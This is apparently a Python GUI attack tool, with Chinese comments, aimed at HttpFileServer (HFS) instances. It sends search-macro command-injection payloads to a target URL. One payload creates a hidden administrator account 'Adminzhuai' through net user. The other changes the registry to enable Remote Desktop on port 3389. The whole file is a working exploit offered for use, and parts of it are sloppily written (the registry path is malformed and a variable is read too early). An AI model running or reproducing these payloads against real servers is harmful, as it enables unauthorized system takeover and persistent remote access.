import requests
import tkinter as tk

window = tk.Tk()
window.title('乐逍遥武器-HFS分支')

window.geometry('700x200')
entry = tk.Entry(window,show='None')
entry.place(relx=0.1,relwidth=0.6,relheight=0.15)



var=entry.get()
url=var

# 这里换成攻击目标的hfs服务器的地址

def URL():

# 创建用户Adminzhuai adminzhuai 并添加到管理员
    add_user ="/?search==%00%7B.exec%7Ccmd.exe%20/c%20net%20user%20Adminzhuai%20adminzhuai%20/add%20%26%20net%20localgroup%20administrators%20Adminzhuai%20/add.%7D"
# 开启3389端口
    open_3389 ="/?search==%00%7B.exec%7Ccmd.exe%20/c%20REG%20ADD%20HKLM%5CSYSTEM%5CCurrentControlSet%5CControl%5CTerminal%22%20%22Server%20/v%20fDenyTSCconneections%20/t%20REG_DWORD%20/d%2000000000%20/f.%7D"

    url_adduser = url + add_user
    url_open3389 = url + open_3389
    adduser(url_adduser)
    open3389(url_open3389)

def adduser(url_adduser):
    code = requests.get(url_adduser).status_code
    if code == 200:
        print("添加用户成功")

    else:
        print("添加用户失败")
        var = input()
        adduser(var)



def open3389(url_open3389):
    code2 = requests.get(url_open3389).status_code
    if code2 ==200:
        print("开启端口成功")
    else:
        print("开启端口失败")
        var = input()
        open3389(var)


# 设置页面按钮
def aduser():
    global t
    adduser(var)
#页面布局设置；bg是颜色，width是宽度，height是高度，pady是y轴间距，font字体参数,来控制控件上显示的字体,大小和样式
b1 = tk.Button(window, text='伪造账户攻击', bg="grey",font=('Arial',12),command=aduser)
b1.place(relx=0.3,rely=0.5,relwidth=0.1,relheight=0.15)

# 设置页面按钮
def open():
    global t
    open3389(var)
#页面布局设置；bg是颜色，width是宽度，height是高度，pady是y轴间距，font字体参数,来控制控件上显示的字体,大小和样式
b2 = tk.Button(window, text='打开端口', bg="grey",font=('Arial',12),command=open)
b2.place(relx=0.7,rely=0.5,relwidth=0.1,relheight=0.15)

#页面布局设置；bg是颜色，width是宽度，height是高度，pady是y轴间距，font字体参数,来控制控件上显示的字体,大小和样式
b3= tk.Button(window, text='攻击', bg="grey",font=('Arial',12),command=URL)
b3.place(relx=0.8,relwidth=0.1,relheight=0.15)


#循环使程序运行后产生图形化页面（如果运行后没出现页面，可以看看加没加这句话）
window.mainloop()